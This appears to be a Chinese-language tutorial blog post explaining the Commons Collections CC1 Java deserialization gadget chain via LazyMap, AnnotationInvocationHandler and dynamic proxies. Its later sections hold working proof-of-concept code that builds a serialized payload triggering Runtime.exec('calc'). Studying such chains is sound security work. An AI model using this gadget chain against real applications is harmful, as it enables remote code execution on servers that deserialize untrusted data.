在上文TransformedMap文章中,我们知道除了TransformedMap外还有一个LazyMap也实现了transform方法

1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
我们知道如果想要执行命令,那么
1
2
3
4
5
6
7
|
factory.transform(key);
就要变为以下形式
invoketransform.transform(Runtime.getRuntime)
InvokerTransformer
|
我们发现factory是LazyMap类中的一个属性,由构造方法传入,但是由于构造方法是受保护的,只能类的内部调用,所以我们得找有没有public修饰的方法,并且调用了这个构造方法
我们发现decorate方法在内部实现了构造方法,并且传参为我们自己可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
package cn.itcast.demo.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc1lazymap {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
//exec.transform(Runtime.getRuntime());
HashMap<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, invokerTransformer);
decorate.get(Runtime.getRuntime());
}
}
|

2.谁可以调用get方法—AnnotationInvocationHandler
最好这个类是入口类,readobject方法里调用了get方法,并且可序列化了,但是查的话发现有2000多个类实现了get方法

这边入口类其实还是AnnotationInvocationHandler,但是不是他的readobject方法调用了get,而是Invoke方法调用了get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
//解释代理对象,方法名,参数
public Object invoke(Object proxy, Method method, Object[] args) {
//获取方法名
String member = method.getName();
//获取参数类型
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
//判断方法名是不是equals,并且参数类型长度为1
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
//遍历方法,判断方法是不是toString方法
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
|
3.invoke方法—Java动态代理
3.1.Java动态代理基础
什么是Java的动态代理?Java 的动态代理(Dynamic Proxy) 是 Java 反射机制提供的一种强大功能,它允许你在运行时动态创建一个实现指定接口的代理对象,并在调用该对象的方法时插入自定义逻辑
代理可以干什么?代理可以无侵入式的给对象增强属性(如日志、权限检查、事务控制)
代理长什么样?对象长什么样代理就长什么样,代理是一个接口,对象需要实现代理里面的方法

案例
//UserService接口相当于经纪人,是一个中介
1
2
3
4
5
6
7
|
package cn.itcast.demo.Proxy;
//UserService接口相当于经纪人,是一个中介
public interface UserService {
void sing(String name);
void dance(String name);
}
|
//UserServiceImpl实现类,相当于明星
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
package cn.itcast.demo.Proxy;
public class UserServiceImpl implements UserService {
@Override
public void sing(String name) {
System.out.println(name + "正在唱歌");
}
@Override
public void dance(String name) {
System.out.println(name + "正在跳舞");
}
}
|
//当粉丝想要歌手唱歌时,得先找经纪人,经纪人需要准备舞台话筒
//自定义InvocationHandler的实现类,它的作用是:拦截对代理对象方法的调用,并在真实方法执行前后插入额外逻辑(比如日志、权限控制、事务等)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package cn.itcast.demo.Proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class TestInvocationHandler implements InvocationHandler {
private Object target;
public TestInvocationHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("sing")) {
System.out.println("经纪人开始准备唱歌工作");
method.invoke(this.target, args);
System.out.println("唱歌工作完成开始收尾工作");
} else if (method.getName().equals("dance")) {
System.out.println("经纪人开始准备跳舞工作");
method.invoke(this.target, args);
System.out.println("跳舞工作完成开始收尾工作");
}
return proxy;
}
}
|
//
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package cn.itcast.demo.Proxy;
import java.lang.reflect.Proxy;
public class TestProxy {
public static void main(String[] args) {
//new UserServiceImpl() 具体要代理的对象,也就是明星
TestInvocationHandler testInvocationHandler = new TestInvocationHandler(new UserServiceImpl());
UserService us = (UserService) Proxy.newProxyInstance(
//// 1. 类加载器
ClassLoader.getSystemClassLoader(),
// 2. 代理要实现的接口列表
new Class[]{UserService.class},
// 3. 方法调用处理器
testInvocationHandler);
us.sing("蔡徐坤");
}
}
|

//整体执行流程
1
2
3
4
5
6
7
8
9
10
|
调用 us.sing("蔡徐坤")
↓
JVM 发现 us 是代理对象($Proxy0)
↓
自动调用 testInvocationHandler.invoke(proxy, method, args)
↓
你在 TestInvocationHandler.invoke() 中编写逻辑:
- 可以打印 "【前置】准备唱歌..."
- 调用 method.invoke(realObject, args) → 执行 UserServiceImpl.sing()
- 打印 "【后置】唱完了!"
|
4.最终流程

当反序列化时,默认执行readObject方法,走到memberValues.entrySet()方法时,由于此时memberValue是我们传入的lazyMap,lazyMap是JDK的动态代理对象,代理MAP这个接口,那么任何对Map接口方法的调用都会走到invoke方法中, 自动触发 handler.invoke(proxy, method[entrySet], args)最终走到get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
public void cc1_lazyMap() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 使用 LazyMap(更稳定)
Map<String,String> map = new HashMap();
map.put("value", "123456");
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
// 创建 AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, lazyMap);
Map proxymap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);
Object o = ctor.newInstance(Target.class, proxymap);
// 序列化代理对象(不是 handler 本身!)
serialize(o); // 注意:序列化的是 proxy
deserialize("test.ser");
}
|

AnnotationInvocationHandler 实际是注解的动态代理。
- 当反序列化后,若有人调用注解方法(如
@Target.value()),会触发 LazyMap.get("value")
- 而
TransformedMap 依赖 setValue(),仅在部分 JDK 版本中被调用,不稳定。
- 因此 LazyMap + 动态代理 是更通用的触发方式。
https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/